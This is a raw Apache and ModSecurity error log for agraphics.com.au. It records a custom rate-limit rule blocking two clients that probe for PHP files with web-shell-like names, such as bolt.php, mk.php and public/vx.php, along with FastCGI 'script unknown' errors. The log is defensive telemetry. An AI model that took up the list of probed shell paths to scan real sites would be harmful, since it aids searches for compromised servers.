[Thu Apr 23 21:22:42.518379 2026] [:error] [pid 65000:tid 65048] [client 158.158.123.88:53438] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-class-api.php"] [unique_id "aeodIr6vRb9j6psK2ZaHHgAAAg8"]
[Thu Apr 23 21:22:42.921351 2026] [:error] [pid 42972:tid 43032] [client 158.158.123.88:53424] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class-t.api.php"] [unique_id "aeodIsOAb-3sOknsk4c7-gAAAFA"]
[Thu Apr 23 21:22:43.310705 2026] [:error] [pid 65000:tid 65041] [client 158.158.123.88:62741] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-class-api.php"] [unique_id "aeodI76vRb9j6psK2ZaHIwAAAgg"]
[Thu Apr 23 21:22:43.513289 2026] [:error] [pid 64998:tid 65016] [client 158.158.123.88:4743] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class-t.api.php"] [unique_id "aeodI4V5EysYcTLjmwh7DAAAAc4"]
[Thu Apr 23 21:22:43.837830 2026] [:error] [pid 64998:tid 65025] [client 158.158.123.88:53417] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bolt.php"] [unique_id "aeodI4V5EysYcTLjmwh7DwAAAdc"]
[Thu Apr 23 21:22:44.080072 2026] [:error] [pid 64998:tid 65009] [client 158.158.123.88:50307] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class-t.api.php"] [unique_id "aeodJIV5EysYcTLjmwh7EgAAAcc"]
[Thu Apr 23 21:22:44.621114 2026] [:error] [pid 64998:tid 65019] [client 158.158.123.88:37092] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bolt.php"] [unique_id "aeodJIV5EysYcTLjmwh7GAAAAdE"]
[Thu Apr 23 21:22:44.696514 2026] [:error] [pid 64998:tid 65023] [client 158.158.123.88:48914] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mk.php"] [unique_id "aeodJIV5EysYcTLjmwh7GQAAAdU"]
[Thu Apr 23 21:22:45.249359 2026] [:error] [pid 64998:tid 65016] [client 158.158.123.88:30687] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bolt.php"] [unique_id "aeodJYV5EysYcTLjmwh7HQAAAc4"]
[Thu Apr 23 21:22:45.265420 2026] [:error] [pid 64998:tid 65015] [client 158.158.123.88:62776] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mk.php"] [unique_id "aeodJYV5EysYcTLjmwh7HgAAAc0"]
[Thu Apr 23 21:22:45.734695 2026] [:error] [pid 64967:tid 64988] [client 158.158.123.88:33270] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bolt.php"] [unique_id "aeodJYAV4GfOOdX8Qzp1gwAAAZM"]
[Thu Apr 23 21:22:45.902973 2026] [:error] [pid 64998:tid 65018] [client 158.158.123.88:4617] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mk.php"] [unique_id "aeodJYV5EysYcTLjmwh7JAAAAdA"]
[Thu Apr 23 21:22:46.280712 2026] [:error] [pid 65000:tid 65045] [client 158.158.123.88:4864] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gifclass.php"] [unique_id "aeodJr6vRb9j6psK2ZaHMgAAAgw"]
[Thu Apr 23 21:22:46.627441 2026] [:error] [pid 65000:tid 65030] [client 158.158.123.88:37065] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mk.php"] [unique_id "aeodJr6vRb9j6psK2ZaHNAAAAgE"]
[Thu Apr 23 21:22:46.854426 2026] [:error] [pid 64998:tid 65022] [client 158.158.123.88:4914] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gifclass.php"] [unique_id "aeodJoV5EysYcTLjmwh7KwAAAdQ"]
[Thu Apr 23 21:22:47.342819 2026] [:error] [pid 65000:tid 65049] [client 158.158.123.88:48923] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gifclass.php"] [unique_id "aeodJ76vRb9j6psK2ZaHOQAAAhA"]
[Thu Apr 23 21:22:47.409445 2026] [:error] [pid 42972:tid 43023] [client 158.158.123.88:4893] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gettest.php"] [unique_id "aeodJ8OAb-3sOknsk4c8AwAAAEc"]
[Thu Apr 23 21:22:48.043653 2026] [:error] [pid 65000:tid 65046] [client 158.158.123.88:62759] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gifclass.php"] [unique_id "aeodKL6vRb9j6psK2ZaHPQAAAg0"]
[Thu Apr 23 21:22:48.522073 2026] [:error] [pid 42973:tid 43056] [client 158.158.123.88:30718] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gettest.php"] [unique_id "aeodKG6I0QqmmmLTHE0a8gAAAI0"]
[Thu Apr 23 21:22:49.203414 2026] [:error] [pid 65000:tid 65032] [client 158.158.123.88:30679] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ccs.php"] [unique_id "aeodKb6vRb9j6psK2ZaHQQAAAgM"]
[Thu Apr 23 21:22:50.458435 2026] [:error] [pid 65000:tid 65031] [client 158.158.123.88:4902] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gettest.php"] [unique_id "aeodKr6vRb9j6psK2ZaHSAAAAgI"]
[Thu Apr 23 21:22:51.421588 2026] [:error] [pid 42972:tid 43024] [client 158.158.123.88:48939] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ccs.php"] [unique_id "aeodK8OAb-3sOknsk4c8CAAAAEg"]
[Thu Apr 23 21:22:51.905050 2026] [:error] [pid 42973:tid 43052] [client 158.158.123.88:37063] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gettest.php"] [unique_id "aeodK26I0QqmmmLTHE0a9gAAAIk"]
[Thu Apr 23 21:22:52.274593 2026] [:error] [pid 42973:tid 43057] [client 158.158.123.88:4623] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ccs.php"] [unique_id "aeodLG6I0QqmmmLTHE0a9wAAAI4"]
[Thu Apr 23 21:22:52.856398 2026] [:error] [pid 42973:tid 43046] [client 158.158.123.88:64009] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a4.php"] [unique_id "aeodLG6I0QqmmmLTHE0a-QAAAIM"]
[Thu Apr 23 21:22:53.049574 2026] [:error] [pid 42973:tid 43045] [client 158.158.123.88:4766] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ccs.php"] [unique_id "aeodLW6I0QqmmmLTHE0a-gAAAII"]
[Thu Apr 23 21:22:53.624009 2026] [:error] [pid 65000:tid 65041] [client 158.158.123.88:50354] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a4.php"] [unique_id "aeodLb6vRb9j6psK2ZaHVwAAAgg"]
[Thu Apr 23 21:22:53.759352 2026] [:error] [pid 65000:tid 65032] [client 158.158.123.88:30704] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/first.php"] [unique_id "aeodLb6vRb9j6psK2ZaHWAAAAgM"]
[Thu Apr 23 21:22:54.246342 2026] [:error] [pid 65000:tid 65030] [client 158.158.123.88:4736] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/first.php"] [unique_id "aeodLr6vRb9j6psK2ZaHWwAAAgE"]
[Thu Apr 23 21:22:54.544296 2026] [:error] [pid 25635:tid 25640] [client 158.158.123.88:30714] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a4.php"] [unique_id "aeodLsRxv6UsgRGKB3I0NAAAAQE"]
[Thu Apr 23 21:22:54.753225 2026] [:error] [pid 64998:tid 65017] [client 158.158.123.88:30716] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/first.php"] [unique_id "aeodLoV5EysYcTLjmwh7PAAAAc8"]
[Thu Apr 23 21:22:55.327371 2026] [:error] [pid 64998:tid 65023] [client 158.158.123.88:62762] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/first.php"] [unique_id "aeodL4V5EysYcTLjmwh7PwAAAdU"]
[Thu Apr 23 21:22:55.439079 2026] [:error] [pid 65000:tid 65037] [client 158.158.123.88:37108] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a4.php"] [unique_id "aeodL76vRb9j6psK2ZaHXQAAAgQ"]
[Thu Apr 23 21:22:56.490799 2026] [:error] [pid 65000:tid 65043] [client 158.158.123.88:48897] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/retu11.PhP7"] [unique_id "aeodML6vRb9j6psK2ZaHYAAAAgo"]
[Thu Apr 23 21:22:57.374044 2026] [:error] [pid 64998:tid 65022] [client 158.158.123.88:4772] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/retu11.PhP7"] [unique_id "aeodMYV5EysYcTLjmwh7SAAAAdQ"]
[Thu Apr 23 21:22:58.149105 2026] [:error] [pid 65000:tid 65047] [client 158.158.123.88:4749] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/retu11.PhP7"] [unique_id "aeodMr6vRb9j6psK2ZaHZQAAAg4"]
[Thu Apr 23 21:22:58.691281 2026] [:error] [pid 65000:tid 65042] [client 158.158.123.88:37104] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/retu11.PhP7"] [unique_id "aeodMr6vRb9j6psK2ZaHZgAAAgk"]
[Thu Apr 23 21:22:59.428161 2026] [:error] [pid 64998:tid 65015] [client 158.158.123.88:37089] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rip.php"] [unique_id "aeodM4V5EysYcTLjmwh7SwAAAc0"]
[Thu Apr 23 21:23:00.170644 2026] [:error] [pid 64998:tid 65010] [client 158.158.123.88:37062] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rip.php"] [unique_id "aeodNIV5EysYcTLjmwh7TwAAAcg"]
[Thu Apr 23 21:23:00.699085 2026] [:error] [pid 42971:tid 42988] [client 158.158.123.88:45381] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rip.php"] [unique_id "aeodNDEP2_5RswrH8bErMQAAAAI"]
[Thu Apr 23 21:23:01.249247 2026] [:error] [pid 65000:tid 65054] [client 158.158.123.88:4514] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rip.php"] [unique_id "aeodNb6vRb9j6psK2ZaHbwAAAhU"]
[Thu Apr 23 21:23:01.904464 2026] [:error] [pid 25635:tid 25655] [client 158.158.123.88:4405] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "aeodNcRxv6UsgRGKB3I0NgAAARA"]
[Thu Apr 23 21:23:02.749480 2026] [:error] [pid 65000:tid 65057] [client 158.158.123.88:53419] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "aeodNr6vRb9j6psK2ZaHdAAAAhg"]
[Thu Apr 23 21:23:03.442593 2026] [:error] [pid 64998:tid 65004] [client 158.158.123.88:37099] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "aeodN4V5EysYcTLjmwh7UwAAAcI"]
[Thu Apr 23 21:23:03.972418 2026] [:error] [pid 59700:tid 59720] [client 158.158.123.88:62737] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "aeodN5XyGZJFeAIDWtkpMwAAAVI"]
[Thu Apr 23 21:23:04.566321 2026] [:error] [pid 65000:tid 65043] [client 158.158.123.88:45391] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zoo.php"] [unique_id "aeodOL6vRb9j6psK2ZaHeAAAAgo"]
[Thu Apr 23 21:23:05.848832 2026] [:error] [pid 42972:tid 43028] [client 158.158.123.88:37100] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zoo.php"] [unique_id "aeodOcOAb-3sOknsk4c8FgAAAEw"]
[Thu Apr 23 21:23:06.493068 2026] [proxy_fcgi:error] [pid 65000:tid 65030] [client 158.158.123.88:60843] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:23:06.736768 2026] [proxy_fcgi:error] [pid 65000:tid 65049] [client 158.158.123.88:60843] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:23:07.004603 2026] [proxy_fcgi:error] [pid 65000:tid 65037] [client 158.158.123.88:60843] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:23:07.248494 2026] [proxy_fcgi:error] [pid 65000:tid 65046] [client 158.158.123.88:60843] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:23:07.493171 2026] [proxy_fcgi:error] [pid 65000:tid 65040] [client 158.158.123.88:60843] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:23:07.776923 2026] [proxy_fcgi:error] [pid 65000:tid 65048] [client 158.158.123.88:60843] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:23:08.049638 2026] [proxy_fcgi:error] [pid 65000:tid 65055] [client 158.158.123.88:60843] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:23:08.310339 2026] [proxy_fcgi:error] [pid 65000:tid 65041] [client 158.158.123.88:60843] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:23:08.654637 2026] [proxy_fcgi:error] [pid 65000:tid 65052] [client 158.158.123.88:60843] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:23:08.898002 2026] [proxy_fcgi:error] [pid 65000:tid 65031] [client 158.158.123.88:60843] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:23:09.163598 2026] [proxy_fcgi:error] [pid 65000:tid 65050] [client 158.158.123.88:60843] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:25:55.764393 2026] [proxy_fcgi:error] [pid 64998:tid 65009] [client 20.251.223.35:50914] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:25:55.806849 2026] [proxy_fcgi:error] [pid 65000:tid 65046] [client 20.251.223.35:54713] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:25:56.026800 2026] [proxy_fcgi:error] [pid 64998:tid 65021] [client 20.251.223.35:50914] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:25:56.070153 2026] [proxy_fcgi:error] [pid 65000:tid 65052] [client 20.251.223.35:54713] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:25:56.298198 2026] [proxy_fcgi:error] [pid 64998:tid 65002] [client 20.251.223.35:50914] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:25:56.717004 2026] [proxy_fcgi:error] [pid 64998:tid 65026] [client 20.251.223.35:50914] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:25:56.776640 2026] [proxy_fcgi:error] [pid 65000:tid 65055] [client 20.251.223.35:54713] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:25:57.010711 2026] [proxy_fcgi:error] [pid 64998:tid 65011] [client 20.251.223.35:50914] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:25:57.274686 2026] [proxy_fcgi:error] [pid 64998:tid 65018] [client 20.251.223.35:50914] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:25:57.323689 2026] [:error] [pid 65000:tid 65044] [client 20.251.223.35:54713] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blogs.php"] [unique_id "aeod5b6vRb9j6psK2ZaKvwAAAgs"]
[Thu Apr 23 21:25:57.605873 2026] [:error] [pid 64998:tid 65007] [client 20.251.223.35:50914] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public/vx.php"] [unique_id "aeod5YV5EysYcTLjmwh9pwAAAcU"]
[Thu Apr 23 21:25:58.163135 2026] [:error] [pid 64998:tid 65012] [client 20.251.223.35:30098] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public/vx.php"] [unique_id "aeod5oV5EysYcTLjmwh9qQAAAco"]
